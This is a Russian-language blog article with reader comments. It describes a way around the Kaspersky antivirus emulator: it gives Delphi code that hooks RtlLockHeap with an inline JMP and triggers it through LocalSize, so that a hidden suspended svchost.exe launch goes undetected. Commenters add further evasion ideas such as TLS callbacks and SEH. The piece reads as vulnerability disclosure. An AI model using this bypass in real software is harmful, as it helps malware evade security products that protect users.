Уязвимость эмулятора в антивирусе Касперского

На данный момент в мире создаётся всё большее количество вирусов, за количеством которых невозможно успеть. Поэтому современные технологии «облачных сетей» и эвристических анализаторов кода призваны обеспечить защиту от совершенно новых угроз до того, как аналитики добавят образцы в антивирусные базы.

Не для кого не секрет, что в каждой системе всегда найдется пара дырок, которые рано или поздно выплывут наружу. Иногда это связано с ошибками программистов, иногда — из-за развития технологий вирмейкерства. В данной статье я покажу Вам один из способов обхода эмулятора в последних версиях антивируса Касперского.

Теория


Что вообще из себя представляет эмулятор в антивирусе и зачем он нужен? Ответ очень прост — практически все вредоносное ПО подвержено шифрованию и пакингу различными крипторами и протекторами, во время проверки файла на диске эмулятор «раскручивает» тестируемый исполнительный файл на своей виртуальной машине и постепенно «добирается» до нужного кода, детект которого уже происходит либо сигнатурным, либо эвристическим методом.

Во время разработки одной из своих программ я столкнулся с проблемой, что антивирус Касперского постоянно ругался на мой ехешник, как на "HEUR:Trojan.Win32.Generic", хотя ничего вредоносного в нем я не видел. Методом исключений было выявлено, что антивирус ругается на создание процесса функцией CreateProcess(...), если в ее параметрах выставлен флаг скрытого запуска процесса. Деваться от этого было некуда, поэтому пришлось перебирать различные варианты исполнения кода, тем более мне самому это было интересно. Результат не заставил себя долго ждать — за пару часов было найдено три способа противодействия эмулятору, давайте рассмотрим, на мой взгляд, самый интересный из них, который заключается в уязвимости проверок api функций.

Эмулятор проверяет лишь вызовы win api, которые делает тестируемое приложение, но вот анализирует ли он другие api, которое вызывает проверяемое, как оказалось — нет. Было ли это сделано в целях оптимизации или же простой недосмотр разработчиков — никто и не узнает.

Для наглядности привожу маленькую схемку: слева изображено исполнение программы в реальной среде, а справа — исполнение проверок над кодом в среде эмулятора антивируса.
image

Практика


В пример привожу часть кода, которая детектировалась в моей программе. Как и говорилось ранее — код не делает ничего плохого, лишь запускает процесс в остановленном виде. Написан на delphi.

procedure ProcessBadCode();
var
  StartInfo : TStartupInfoA;
  ProcInfo : TProcessInformation;
begin
  ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
  StartInfo.cb := SizeOf(TStartupInfoA);
  CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
end;

begin
  ProcessBadCode();
end.


Всё что надо для незаметного выполнения кода под носом у эмулятора — это сделать хук на любую api и перевести выполнение на код, который должен остаться незамеченным, а затем найти другую api, которая вызывает первую и вызвать ее в своем коде. В следующем примере я взял следующие функции: "RtlLockHeap(...)" из "ntdll.dll" и "LocalSize(...)" из "kernel32.dll". Как многие уже поняли — вторая вызывает первую. После установления хука на "RtlLockHeap(...)" цепочка вызовов получается следующая:
MyCode(...) -> LocalSize(...) -> RtlLockHeap(...) -> BadCode(...).
Детекта антивирусом уже не будет.

var
  Initialized : Boolean;
procedure ProcessBadCode();
var
  StartInfo : TStartupInfoA;
  ProcInfo : TProcessInformation;
begin
  if not Initialized then // наш код может выполниться один раз, а вот хученая апи - нет
  begin
    Initialized := True; // посему сделаем переменную, которая будет это контролировать
    ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
    StartInfo.cb := SizeOf(TStartupInfoA);
    CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
    Sleep(5000); // подождем и завершим запущенный процесс
    TerminateProcess(ProcInfo.hProcess, 0);
    ExitProcess(0); // завершим текущий
  end;
  Sleep(INFINITE); // все вызовы хученой апи мы ставим на паузу
end;

procedure ProcessStartCode();
  procedure WriteJmp(AddressFrom, AddressTo : Integer); // записывает jmp на нужный код
  var
    Protect, Stuff : Cardinal;
  begin
    VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect);
    PByte(AddressFrom)^ := $E9;
    PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5;
    VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff);
  end;
var
  NativeFunc : procedure();
begin
  // найдем адрес первой функции
  @NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap');
  // Поставим там хук переведя исполнение программы на BadCode
  WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode));
  // Вызовем вторую, которая вызовет первую ...
  LocalSize(0);
end;

begin
  ProcessStartCode();
end.


Выводы


Золотое правило: «доверяй — но проверяй!» К сожалению, существующая политика «доверия» подписанным программам уже дала сбой: это примеры, реализованные и в вирусе Stuxnet, и в недавней эксплуатации уязвимости Adobe. Как показал мой маленький опыт — тем же проблемам подвержен и эвристический анализатор кода одного из самых популярных антивирусов. Особенно показательно то, что эвристический анализатор Касперского — один из двух, которые заметили угрозу в данному файле (за что ему честь и хвала), при чём детект китайского Jiangmin — явное ложное срабатывание. Жаль только, что всё решилось так просто…

Всё это в очередной раз подтверждает непреложную истину, что ни один программный продукт не обеспечит должную защиту без понимания азов безопастности со стороны оператора и его активных действий про пресечению угроз.

В дополнение выкладывается комплект скомпилированных исполняемых файлов и исходники, о которых речь шла в статье. Пароль на архив — elcrabe.

Выражаю благодарность юзеру gjf за помощь в подготовлении статьи.
Метки:
Поделиться публикацией
Похожие публикации
Комментарии 27
  • +2
    За чуть более чем 1 час уже было опубликовано 3 топика про уявзимости.

    Сегодня и вправду день уязвимостей на хабре.
    • +1
      Видать программисты вчера наславу погуляли ;-)
      • –1
        Щас придут ребята из ЛК и начнут выражать Вам дизреспекты =))
        • –1
          Небось ребята из ЛК уже получили по голове и вовсю выкатывают новый патч
          • 0
            А вы это не заметите — обновления эмулятора выходят вместе с обычными базами.
        • +1
          Потенциально положена на лопатки эвристика. Радует, что она была так хороша, что единственной отмечала потенциально небезопасное действие из всех антивирусов, и печалит, что её так просто обошли.
          • +12
            Какой же IRabinovich молодец! Дать инвайт за статью, где опускается один из главных конкурентов. Браво! :)
            • 0
              Да, я тоже заметил :) Опубликовал ссылку на ВИ — она была ещё в песочнице. И сразу отхабрили :) А по инвайту сразу понял, кто, от и даже почему ;)
            • НЛО прилетело и опубликовало эту надпись здесь
              • 0
                При чём здесь скудность эмуляции? Тут тема была в том, что эмуляция проводилась на недостаточно низком уровне и легко перехватывалась.
                • НЛО прилетело и опубликовало эту надпись здесь
                  • НЛО прилетело и опубликовало эту надпись здесь
                    • 0
                      Данная статья посвящена эмулятору или обнюхивателю — как угодно. При чём здесь проактивка? :)
                      • 0
                        … и что-то мне подсказывает, что мы говорим о разных вещах.
                        • +2
                          Проактивная защита — защита которая работает в рантайме и контроллирует вызовы апи программой, а эмулятор это часть проверки файла на диске, когда сам антивирус берет файл и скрытно раскручивает его на своей виртуальной машине, анализируя как апи, так и промежуточные сигнатуры.
                        • НЛО прилетело и опубликовало эту надпись здесь
                • +1
                  A сейчас лк выложили патч «b» для 2011 версии, мне в нем дырки считать уже надоело =)
                  • 0
                    Респект!
                    Хоть я и не системный программист, тем более не хакер, читать такие посты одно удовольствие.
                  • 0
                    Ребятки, такой нескромный вопрос, на главной сие появится должно, как я понял, по достижения определенного количества баллов, так вот, есть где глянуть текущее? Спасибо.
                    • НЛО прилетело и опубликовало эту надпись здесь
                      • 0
                        Эмм, а разве этот блог не тематический? =) Вроде же в него и перенёс.
                    • 0
                      По-моему эмуль нужен для того, чтобы ловить поделки всяких чудаков с конструкторами, найденными в Инете, а также китайские, которые берут не красотой, а массой. Против серьезных вещей создаются другие линии обороны; эмуль — самая первая.
                      • 0
                        А стек кто будет балансировать?
                        Это Вам не _cdecl!
                        • 0
                          А зачем? Ведь до возврата из функции дело-то все равно не дойдет.
                          • 0
                            Ну, в примере — согласен.
                            Но в «реале» эти хаки — зло, источники трудно-уловимых ошибок.
                            ну и RtlLockHeap не только с LocalSize-a вызывается.
                            • 0
                              В «реале» всё что надо было бы сделать — восстановить оригинальные байты хученой функи =)
                              • 0
                                >>>В «реале» всё что надо было бы сделать — восстановить оригинальные байты хученой функи =)
                                В «реале-product code» такое использовать нельзя.
                                А такие проблемы надо решать «долгими feedback-ами/wishlist-aми» с производителями.

                                P.S.: если интересно- попробуйте также выполнение кода с:
                                1) TLS или DllMain(для .dll);
                                2) задействовать SEH;
                                3) выполнение со стека или кучи.
                                Помню года 4 назад антивирусы TLS даже не знали.

                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.